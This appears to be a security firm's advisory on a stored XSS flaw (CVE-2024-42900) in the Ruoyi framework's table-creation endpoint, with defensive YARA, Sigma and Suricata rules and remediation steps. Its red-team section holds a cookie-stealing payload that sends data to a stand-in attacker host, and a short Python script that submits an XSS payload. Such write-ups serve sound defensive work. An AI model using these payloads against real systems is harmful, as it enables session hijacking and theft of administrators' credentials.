CVE-2024-42900

Executive Summary

CVE-2024-42900 is a stored Cross-Site Scripting (XSS) vulnerability identified in the Ruoyi framework, version 4.7.9 and earlier. The flaw resides in the createTable() function located at /tool/gen/create, specifically within the sql parameter. An authenticated attacker with sufficient privileges can inject arbitrary JavaScript code into the SQL input field, which is then stored and executed in the context of other users' browsers when they view the generated table schema or related administrative pages. This can lead to session hijacking, credential theft, or defacement of the administrative interface.

This vulnerability is particularly concerning for organizations using Ruoyi as a rapid application development platform, as it exposes the admin panel to persistent XSS attacks. The CVSS score is low due to the requirement for high privileges and user interaction, but the impact on confidentiality and integrity is real.

Supply Chain & Package Security

Ruoyi is a Java-based open-source framework distributed via Maven Central and GitHub. The vulnerable component is part of the core code generation module. There is no known malicious package injection, but the lack of an official patch means downstream users must implement their own input sanitization or upgrade to a patched version if one becomes available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have administrative access to the code generation feature.
• User Interaction (UI): Required (R) – A victim user must view the maliciously crafted page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (CVSS 4.8) – Exploitation requires high privileges but can lead to persistent compromise of the admin interface.

Deep Dive & Mechanics

The vulnerability exists in the createTable() function of the code generation module. This function accepts a sql parameter that is used to define the database table schema. The input is not properly sanitized or encoded before being stored and later rendered in the web interface.

Attack Flow:

1. An authenticated admin user navigates to /tool/gen/create.
2. The attacker crafts a malicious SQL statement containing JavaScript payloads, e.g., CREATE TABLE test (id INT);<script>alert('XSS')</script>.
3. The application stores this input without sanitization.
4. When another admin (or the same user) views the generated table list or schema details, the stored payload is executed in the browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the admin panel.

Root Cause: Lack of output encoding and input validation on the sql parameter. The framework does not escape HTML entities before rendering user-supplied data.

Vulnerable vs. Patched Code

Vulnerable Code (Ruoyi v4.7.9):

// In GenTableController.java or similar
@PostMapping("/create")
public String createTable(String sql) {
    // Directly stores the sql parameter without sanitization
    genTableService.createTable(sql);
    return "success";
}

Patched Code (Hypothetical Fix):

@PostMapping("/create")
public String createTable(@RequestParam("sql") String sql) {
    // Sanitize input to remove script tags and encode HTML
    String sanitizedSql = HtmlUtils.htmlEscape(sql);
    // Also validate that the input is a valid SQL CREATE TABLE statement
    if (!isValidCreateTable(sanitizedSql)) {
        throw new IllegalArgumentException("Invalid SQL");
    }
    genTableService.createTable(sanitizedSql);
    return "success";
}

The fix involves using HtmlUtils.htmlEscape() (or similar) to encode HTML special characters and adding server-side validation to ensure only legitimate SQL statements are processed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Ruoyi instance with admin credentials.
• Knowledge of the /tool/gen/create endpoint.

Exploit Payload:

CREATE TABLE xss_test (id INT);<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Steps:

1. Log in as an admin user.
2. Navigate to http://target.com/tool/gen/create.
3. In the SQL field, enter the payload above.
4. Submit the form.
5. When another admin visits the table list page, the script executes and sends the cookie to the attacker's server.

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()
# Login first
login_data = {"username": "admin", "password": "admin123"}
session.post(f"{target}/login", data=login_data)

# Exploit
payload = "CREATE TABLE xss_test (id INT);<script>alert('XSS')</script>"
exploit_data = {"sql": payload}
session.post(f"{target}/tool/gen/create", data=exploit_data)
print("Payload submitted. Trigger by visiting table list.")

Blue Team (Detection & Defense)

Detection:

• Monitor logs for unusual SQL input containing HTML/JavaScript tags.
• Use WAF rules to block requests to /tool/gen/create with <script> or onerror patterns.
• Deploy CSP headers to mitigate XSS impact.

Defense:

• Apply input validation and output encoding as shown in the patched code.
• Restrict access to the code generation module to only trusted admins.
• Implement Content Security Policy (CSP) with script-src 'self'.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /tool/gen/create with sql parameter containing <script> tags.
• Logs: Application logs showing createTable calls with non-standard SQL containing HTML entities.
• File System: Stored table definitions in the database containing JavaScript payloads.
• Browser: Unexpected pop-ups or network requests to external domains from the admin panel.

Detection Engineering

YARA Rule

rule CVE_2024_42900_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Ruoyi createTable SQL parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-42900"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $sql_create = /CREATE\s+TABLE/i
    condition:
        all of ($xss*) and $sql_create
}

Sigma Rule

title: Ruoyi XSS via createTable SQL Parameter
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to /tool/gen/create with XSS payloads in the sql parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /tool/gen/create
        cs-uri-query|contains: 
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of HTML in SQL comments (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-42900 Ruoyi XSS in createTable SQL parameter"; flow:to_server,established; content:"POST"; http_method; content:"/tool/gen/create"; http_uri; content:"sql="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no official patch exists.
2. Input Sanitization: Manually apply input validation and output encoding to the sql parameter in the createTable() function.
3. Access Control: Restrict access to the code generation module to only essential administrators.
4. WAF Rules: Deploy web application firewall rules to block XSS payloads in the /tool/gen/create endpoint.

Long-Term Measures:

• Implement a Content Security Policy (CSP) with strict script sources.
• Conduct regular security audits of custom code.
• Use a security scanner to detect XSS vulnerabilities in the application.

Workaround:

• Disable the code generation module if not in use by removing or commenting out the relevant controller mapping.

Valters IT